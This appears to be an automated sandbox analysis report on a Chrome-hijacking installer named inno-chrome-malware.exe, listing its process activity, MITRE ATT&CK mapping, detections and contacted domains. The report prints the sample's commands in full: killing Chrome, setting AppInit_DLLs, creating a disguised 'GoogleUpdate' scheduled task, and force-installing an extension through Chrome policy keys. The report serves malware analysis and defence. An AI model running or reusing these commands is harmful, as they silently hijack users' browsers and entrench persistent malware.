Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-2IQD1.tmp\_isetup\_setup64.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-Q5POL.tmp\_isetup\_setup64.tmp			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

8_2_00007FF786B21160

Source: inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: InstallExtension.exe, 0000003F.00000002.476776624.0000000000690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: InstallExtension.exe, 0000003F.00000002.476776624.0000000000690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

Code function: 8_2_00007FF786B22E80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,__crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,__crt_debugger_hook,GetCurrentProcess,TerminateProcess,

8_2_00007FF786B22E80

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Code function: 8_2_00007FF786B235C4 SetUnhandledExceptionFilter,		8_2_00007FF786B235C4
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Code function: 8_2_00007FF786B22E80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,__crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,__crt_debugger_hook,GetCurrentProcess,TerminateProcess,		8_2_00007FF786B22E80

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T

Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process created: C:\Users\user\Desktop\inno-chrome-malware.exe "C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://getfiles.wiki/welcome.php	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\Windows\system32\sxsext.dll" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

Code function: 8_2_00007FF786B23734 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

8_2_00007FF786B23734

Lowering of HIPS / PFW / Operating System Security Settings

Modifies Chrome's extension installation force list

Source: C:\Windows\System32\reg.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\google\Chrome\ExtensionInstallForcelist

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scripting	11 Browser Extensions	11 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Man in the Browser	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	22 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scripting	Security Account Manager	3 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Obfuscated Files or Information	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	5 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Modify Registry	DCSync	2 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
inno-chrome-malware.exe	42%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net02	0%	URL Reputation	safe
http://ocsp.entrust.net02	0%	URL Reputation	safe
http://ocsp.entrust.net01	0%	URL Reputation	safe
https://www.remobjects.com/ps	0%	URL Reputation	safe
https://www.innosetup.com/	0%	URL Reputation	safe
https://getfiles.wiki/welcome.php5	0%	Avira URL Cloud	safe
https://getfiles.wiki/welcome.phpph=	0%	Avira URL Cloud	safe
https://getfiles.wiki/welcome.phpS	0%	Avira URL Cloud	safe
https://getfiles.wiki/redirect.php	0%	Virustotal		Browse
https://getfiles.wiki/redirect.php	0%	Avira URL Cloud	safe
https://exturl.com/r.php?key=pvwarw3	0%	Avira URL Cloud	safe
https://getfiles.wiki/redirect.php?gjhagdjfbdjk=ODQuMTcuNTIuMTM=	0%	Avira URL Cloud	safe
https://getfiles.wiki/welcome.php	0%	Avira URL Cloud	safe
https://getfiles.wiki/welcome.phpC:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
google.com	142.251.209.14	true	false	high
accounts.google.com	216.58.209.45	true	false	high
plus.l.google.com	142.250.184.110	true	false	high
www3.l.google.com	142.250.180.174	true	false	high
api4.ipify.org	64.185.227.155	true	false	high
getfiles.wiki	188.114.96.3	true	false	unknown
www.google.com	142.250.184.100	true	false	high
clients.l.google.com	142.250.180.174	true	false	high
exturl.com	38.128.66.115	true	false	unknown
clients2.google.com	unknown	unknown	false	high
chrome.google.com	unknown	unknown	false	high
api.ipify.org	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.com/	false		high
https://www.google.com/manifest?pwa=webhp	false		high
https://api.ipify.org/?format=jsonp&callback=getIP	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://www.google.com/images/hpp/swg-gshield-42px.png	false		high
https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png	false		high
https://www.google.com/gen_204?s=webhp&t=cap&atyp=csi&ei=T9niY5zxMZSF9u8Pq9CV4AU&rt=wsrt.960,cbs.585,cbt.1453&wh=872&bl=u1zJ	false		high
https://www.google.com/async/newtab_promos	false		high
https://www.google.com/gen_204?ei=T9niY5zxMZSF9u8Pq9CV4AU&vet=10ahUKEwjc1KiDw4T9AhWUgv0HHStoBVwQhJAHCBw..s&gl=GB&pc=SEARCH_HOMEPAGE&isMobile=false	false		high
https://www.google.com/favicon.ico	false		high
https://google.com/	false		high
https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png	false		high
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.3R2S2iMRC9o.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo8-ukmJKpOYaCGRb909wNTowBRXFA/cb=gapi.loaded_0	false		high
https://chrome.google.com/webstore/inlineinstall/detail/jncffhgjbmpggpdflbbkhdghjipdbjkn	false		high
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Djncffhgjbmpggpdflbbkhdghjipdbjkn%26v%3D0.0.0.0%26installedby%3Dpolicy%26uc	false		high
https://getfiles.wiki/redirect.php?gjhagdjfbdjk=ODQuMTcuNTIuMTM=	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/searchbox/desktop_searchbox_sprites318_hr.webp	false		high
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=T9niY5zxMZSF9u8Pq9CV4AU&rt=wsrt.960,aft.3296,afti.3296,cbs.585,cbt.1453,prt.1755&wh=872&imn=12&ima=5&imad=0&imac=0&aftp=872&bl=u1zJ	false		high
https://getfiles.wiki/redirect.php	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/	false		high
https://www.google.com/gen_204?atyp=i&ct=bxjs&cad=&b=0&ei=T9niY5zxMZSF9u8Pq9CV4AU&zx=1675811153397	false		high
https://www.google.com/async/newtab_ogb?hl=en-GB&async=fixed:0	false		high
https://exturl.com/r.php?key=pvwarw3	false	Avira URL Cloud: safe	unknown
https://getfiles.wiki/welcome.php	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	inno-chrome-malware.exe	false		high
https://getfiles.wiki/welcome.php5	inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net02	inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net01	inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/csbr1.crl0	inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	false		high
https://www.remobjects.com/ps	inno-chrome-malware.exe, 00000000.00000003.302574012.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.exe, 00000000.00000003.302218321.0000000002620000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000001.00000000.304272960.0000000000401000.00000020.00000001.01000000.00000004.sdmp, inno-chrome-malware.tmp.0.dr, inno-chrome-malware.tmp.2.dr	false	URL Reputation: safe	unknown
https://getfiles.wiki/welcome.phpS	inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getfiles.wiki/welcome.phpph=	inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.innosetup.com/	inno-chrome-malware.exe, 00000000.00000003.302574012.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.exe, 00000000.00000003.302218321.0000000002620000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000001.00000000.304272960.0000000000401000.00000020.00000001.01000000.00000004.sdmp, inno-chrome-malware.tmp.0.dr, inno-chrome-malware.tmp.2.dr	false	URL Reputation: safe	unknown
http://aia.entrust.net/evcs2-chain.p7c01	inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	false		high
http://crl.entrust.net/evcs2.crl0	inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	false		high
http://www.entrust.net/rpa0	inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	false		high
https://www.entrust.net/rpa0	inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	false		high
https://getfiles.wiki/welcome.phpC:	inno-chrome-malware.tmp, 00000003.00000003.316057965.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.110	plus.l.google.com	United States	15169	GOOGLEUS	false
38.128.66.115	exturl.com	United States	63023	AS-GLOBALTELEHOSTUS	false
216.58.209.45	accounts.google.com	United States	15169	GOOGLEUS	false
142.251.209.14	google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
